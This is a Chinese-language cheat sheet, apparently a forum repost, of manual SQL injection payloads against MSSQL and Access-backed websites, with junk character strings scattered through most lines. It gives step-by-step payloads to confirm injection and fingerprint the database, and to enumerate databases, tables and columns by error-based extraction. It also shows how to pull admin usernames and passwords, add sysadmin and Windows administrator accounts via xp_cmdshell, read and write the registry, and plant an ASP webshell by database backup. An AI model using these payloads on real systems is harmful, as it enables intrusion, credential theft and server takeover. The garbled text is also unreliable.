1.判断是否有注入 9 f6 t$ L* S; z: }
;and 1=1
9 C6 n8 |" T1 K;and 1=2
1 V* a$ p( F3 }1 d
, f7 ]! A a' d0 O2.初步判断是否是mssql : o, y" _& ~3 O) u) c- B
;and user>0 - I2 H" a4 O! k" b% B8 r
9 z0 F3 @' o! X- w
3.判断数据库系统
3 h# Z3 B& u4 M! j7 c* \;and (select count(*) from sysobjects)>0 mssql
4 D5 A; n1 A5 n7 s% s;and (select count(*) from msysobjects)>0 access
/ Y2 l, v/ n6 F- C" [4 O+ K7 {6 q1 U5 F; [( I i" p- d) h. `" n
4.注入参数是字符 ' N" v) B* ~4 O" C6 [
'and [查询条件] and ''=' 3 L S! T( P/ |5 w9 Y
3 p1 G9 O$ I4 v# k- G( ^+ m& ?5.搜索时没过滤参数的
5 r o* Y3 r* m8 S'and [查询条件] and '%25'='
# {! H& {/ C! X' d5 k
" n* Z- @& e- y* K6.猜数表名 0 ?, c5 V( `# o2 i' V
;and (select Count(*) from [表名])>0 / |& m2 o2 Z1 b. t" ^2 G, O
9 z. g; j/ @" C0 W7.猜字段
( N8 k0 A' i+ q( Q' p5 |6 ?;and (select Count(字段名) from 表名)>0 ; ~& P: j# v+ u% k* e
" J/ _8 w. z( B% S
8.猜字段中记录长度
) V; F& i& a; J, o7 r- A;and (select top 1 len(字段名) from 表名)>0
2 [( V! q2 n7 i% v; I: [8 o* G3 m" I/ ~" K q% O6 W. n, L
9.(1)猜字段的ascii值(access)
& `; Q) a% o+ R+ b7 Z X;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
4 f2 W5 K% N, Q8 x b2 Q6 i4 M, z" m& |$ I
(2)猜字段的ascii值(mssql) ; N2 T# a8 X0 H
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 + K; z U J; g7 O+ F
. C* b# E6 } |8 D, E W! n& x- c
10.测试权限结构(mssql)
. [4 e' M) S" L2 A U* ~& y;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- $ ~ j$ b! T- x: i& _( S" k
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
) \% }; m7 ?: |8 S- Q;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 8 ^. ?0 G0 f, q* q) [. w
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- M4 z) v, C2 G
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- & K4 L! g) v5 k3 M. ^0 o5 X
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
" D5 s: W/ }! w; B, D$ k' D;and 1=(select IS_MEMBER('db_owner'));-- ; |) |8 v+ e% d: r( \3 @
7 c; C! m, T' ~6 m) d0 ^) f
11.添加mssql和系统的帐户
) c6 q8 I6 R% {, A;exec master.dbo.sp_addlogin username;-- ! y0 z, q2 [" i* o u
;exec master.dbo.sp_password null,username,password;--
) J; L/ X! d# F;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 1 h! N* f. w6 r. Q: q: i% f
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
/ G7 O" C+ f$ d A) _5 b3 c4 S. E;exec master.dbo.xp_cmdshell 'net user username password /add';--
, V3 K8 y8 m @9 ^;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
4 _# ~0 O9 N+ G/ X4 i# N; W' u$ n0 Y# C! c) q
12.(1)遍历目录 ) g8 O% {: }$ |2 p! g
;create table dirs(paths varchar(100), id int) : B) a' N; V6 @$ Z6 l
;insert dirs exec master.dbo.xp_dirtree 'c:\'
" h/ |% B: x# O! V" h) _8 C;and (select top 1 paths from dirs)>0 3 q5 v3 S/ t6 B- `0 g1 u4 b4 n
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) : S, n. W9 s& ~$ D/ [2 i- @
{6 H3 {8 S% V- l
(2)遍历目录 3 ^' p/ m- W4 {) h
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
( \; o m9 {) s& F;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 - t; y# q1 _. l$ d3 R- C
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
3 W+ @8 }$ }% n;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
; l, E1 U j# w) c. i;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 5 i; L. Z1 `9 E$ B8 S( ~
7 j& g6 T. k! f/ |7 }% w4 |5 }13.mssql中的存储过程
* O( v: H+ G) T. Axp_regenumvalues 注册表根键, 子键
2 U* Q% W9 y6 m, h; m& `;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
0 u* [: i, ]% ^xp_regread 根键,子键,键值名 2 w- ^5 M4 @4 M% W- t
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
' T0 m# A# i! g( Q/ z" n o1 G/ Fxp_regwrite 根键,子键, 值名, 值类型, 值 1 b# L! I8 ^, f" \+ A, L
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 0 o& ~, m# \4 H6 a
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表 2 |5 }# c9 M" T( F) _, \0 D" |
xp_regdeletevalue 根键,子键,值名
4 T6 C' g( l# aexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
( l( y! a1 G! ` g2 f# P2 I4 o; hxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 8 K9 r/ X, w5 L4 U* N
U: f' }, \5 n7 `3 X. B; e+ J14.mssql的backup创建webshell 7 p u: Z% w( p9 ~# u% ?
use model 2 {2 F: R/ f; Z8 T% e; `+ O7 A' j
create table cmd(str image);
+ {5 F) q( N& s5 b. Winsert into cmd(str) values ('<% Dim oScript %>');
! g" o8 W& V0 g0 m% s. ebackup database model to disk='c:\l.asp';
% g1 P% _+ o1 }; s* B) S
/ h( j2 v" h/ ?9 I& f9 g15.mssql内置函数 0 G# E1 j8 S. f- w1 b
;and (select @@version)>0 获得Windows的版本号 9 o Q- A+ L2 b. z( s: R6 J$ }8 n5 {
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
6 R, [" q; B# L3 l9 U, c" O) e;and (select user_name())>0 爆当前系统的连接用户
4 P+ J% E" |7 [/ C z;and (select db_name())>0 得到当前连接的数据库
* d/ F* f. f" U# w! ^4 r4 S5 Z% `
3 j9 e& ^! \$ ~! E7 _" ~" `
4 U% ?) O" f5 S9 D- A6 j5 y4 bMSSQL手注暴库
3 e' P( O6 o8 T. H+ x3 Z, y
^% P- y/ @/ z. d' ^% M1 K, y1.暴出当前表名和列名0 [/ @: a7 y9 f( d5 m: s% f
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。* M' T3 H+ m5 u6 p3 {+ z5 v% X
; ?9 X) f3 P. g; l+ b8 b, f( J第一.爆出所有数据库名
8 ^- a6 P- F6 {3 c: |7 C利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。6 Y- p1 n7 K% c0 c5 M
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
6 O( C8 }* t! `( A8 J5 g# U' u
+ V. n$ r9 ?- ~4 S8 n V8 B" qand 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
0 h+ G9 H4 y3 `: q9 V" X
( Z% { `$ B+ [ ^8 n# X
; \2 X! ~3 V- C9 Z# F6 s& X; ~第二.爆出指定库中的所有表名
8 {- _# p8 k( `- H: p5 H得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。. Q5 B$ Q6 v" v+ \! R2 o
再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。+ Q& s/ e) p2 [! j! U- s
/ |1 l! c+ P5 {5 w7 V( T. B# Cand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
5 @+ { K$ P! n D+ a/ i; ^and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--& @- Q8 ~4 t! K0 c
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--& ~- m, W, o$ Y+ Q
" y4 F# t% m) m+ g9 `/ i4 {+ e4.爆出指定表中的所有列名: d8 L* s9 i: h W6 Y) L
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) % |. a- h o$ C! Q- X2 r* ?
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
( ^7 r- P$ s" o6 p* t$ q. ^
/ h' X: S5 G. \and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
9 E! l# }( ?/ K7 c# s, V. v+ A' D& y0 S7 B: M5 r
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
0 N8 g5 {* O! H5 z% h8 g4 l依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。4 p/ |! L, \# A0 R' z# Z, t( Q
: x7 p) w W! {) M) Q+ w
; W: }' o- K8 v& jand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
6 X# R. i. u) U8 @: f
/ m* U! ]! S6 W0 N3 Y7 Wand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名, \2 ?; r) E _( M
, ^5 I3 T/ \' u, V: O0 Kand 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- : k, J# B+ A; S0 o+ k
: `5 r. |0 D5 }9 @4 y! \
5 q1 ?- \, R8 y# J* G
& j4 P, p& q3 a7 S' e& K5.读取指定表中的数据: {4 ?& \% @% L) E9 r" o
~* @7 G) ^5 w2 Z4 z/ i
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
1 L H) {7 O% p+ k z$ @$ E7 b& }" p2 }6 _
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--
4 U1 C2 q7 B; ?, y8 |2 I
0 V6 a1 v4 e7 P6 ^+ q' Land 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码0 V$ N* q+ H) _% y+ W' J* _
6 B. \4 P- I4 t5 h9 ~$ I9 S8 @% Z8 K, t j( L
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)5 N) x0 M' J3 w* H/ x
: v* v. a" `7 q' I* T* ?+ N8 `and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
9 q& r8 T2 W- q, q$ @' E" C( B0 E/ O. G! l8 o8 ]% a Q
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--% T! h0 U4 J) x1 B2 x& T" ~
2 I2 O5 U+ v; N C0 f
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。% h( w) W" d$ K- _/ A
|